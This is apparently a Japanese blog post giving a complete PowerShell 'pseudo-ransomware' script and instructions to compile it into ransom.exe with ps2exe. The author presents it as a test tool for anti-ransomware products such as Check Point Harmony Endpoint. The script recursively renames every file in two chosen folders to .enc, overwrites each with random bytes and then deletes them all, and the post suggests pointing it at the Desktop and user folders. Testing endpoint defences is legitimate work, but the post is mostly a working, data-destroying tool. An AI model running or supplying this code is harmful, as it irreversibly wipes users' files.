疑似Ransomware2

指定したディレクトリにあるファイルの拡張子を変更、ランダムなデータを追加し、削除するプログラム。AntiRansomewareの検証用に作成しました。

まずはPowershellで作成

function RenameandEnc($targetFolder){
 # 指定したフォルダ内のすべてのファイルを再帰的に取得します。
 $files = Get-ChildItem -Path $targetFolder -File -Recurse

 # ファイルごとに処理を行います。
 foreach ($file in $files) {
  if ($file.Name -ne "ransom.exe") {
     # ランダムな100バイトのデータを生成します。
     $randomData = [byte[]]::new(100)
     [System.Security.Cryptography.RandomNumberGenerator]::Create().GetBytes($randomData)

     # ファイルの拡張子を.encに変更します。
     $newExtension = ".enc"
     $newFileName = $file.FullName + $newExtension
     Rename-Item -Path $file.FullName -NewName $newFileName

     # ファイルにランダムなデータを追加します。
     [System.IO.File]::WriteAllBytes($newFileName, $randomData)
  }
 }
}

function DeleteFile($DeleteFolder){
 # 指定したフォルダ内のすべてのファイルを再帰的に取得します。
 $dfiles = Get-ChildItem -Path $DeleteFolder -File -Recurse

 # ファイルごとに処理を行います。
 foreach ($dfile in $dfiles) {
  if ($dfile.Name -ne "ransom.exe") {
     # ファイルを削除します。
     Remove-Item -Path $dfile.FullName
  }
 }
}

# スクリプト実行時に引数からフォルダのパスを取得します。
if ($args.Count -ne 2) {
    Write-Host "Usage: program.exe directory1 directory2"
    exit
}

# 変更したいフォルダのパスを指定します。
$targetFolder1 = $args[0]
$targetFolder2 = $args[1]

RenameandEnc $targetFolder1
Start-Sleep 5
DeleteFile $targetFolder1

RenameandEnc $targetFolder2
DeleteFile $targetFolder2

Write-Host "finish"

次にPowershellからEXE形式に変換

上記Powershellプログラムをps2exeでexe形式に変換。
 ※ps2exeのインストール方法:PS>Install-Module ps2exe

ps2exe .\powershell.ps1 ./ransom.exe

このプログラムの動作は以下。
1.ransom.exeを任意のフォルダに保存します。
2.このプログラムは、「ransom.exe ディレクトリ1 ディレクトリ2」
  と2つのディレクトリを引数に指定します。(コマンドプロンプトで実行する)
3.最初のディレクトリ1にあるファイルを再帰的に検索し、拡張子をencに変更、ランダムなデータを追加し、5秒間Sleepします。その後、ディレクトリ1にあるファイルを全て削除します。
4.次にディレクトリ2にあるファイルを同じく再帰的に検索し、拡張子をencに変更、ランダムなデータを追加後、すぐにディレクトリ2にあるファイルを全て削除します。

CheckpointのHarmony EndPointで検証した場合、ディレクトリ1にDesktopファルダ、ディレクトリ2にuserフォルダを指定すると、4に入ったあたりでAntiRansomeware機能が発動します。視覚的にはデスクトップ上のファイルの拡張子が変更され、5秒後に削除された後、Harmony EndPointの機能で検知、ファイルが復元されるので動きとして見やすいでしょう。

その他

当初、C言語で同様のプログラムを作成しようと思いましたが、以下の理由でうまくいきませんでした。
・ファイルを再帰的に検索する際に、途中で検索が止まってしまう(おそらく再帰呼出しによるスタックメモリの枯渇)
PythonやPowershellだとファイルの検索が簡単にできたのでPowershellで作成後、EXE化することにしました。

コメントをどうぞ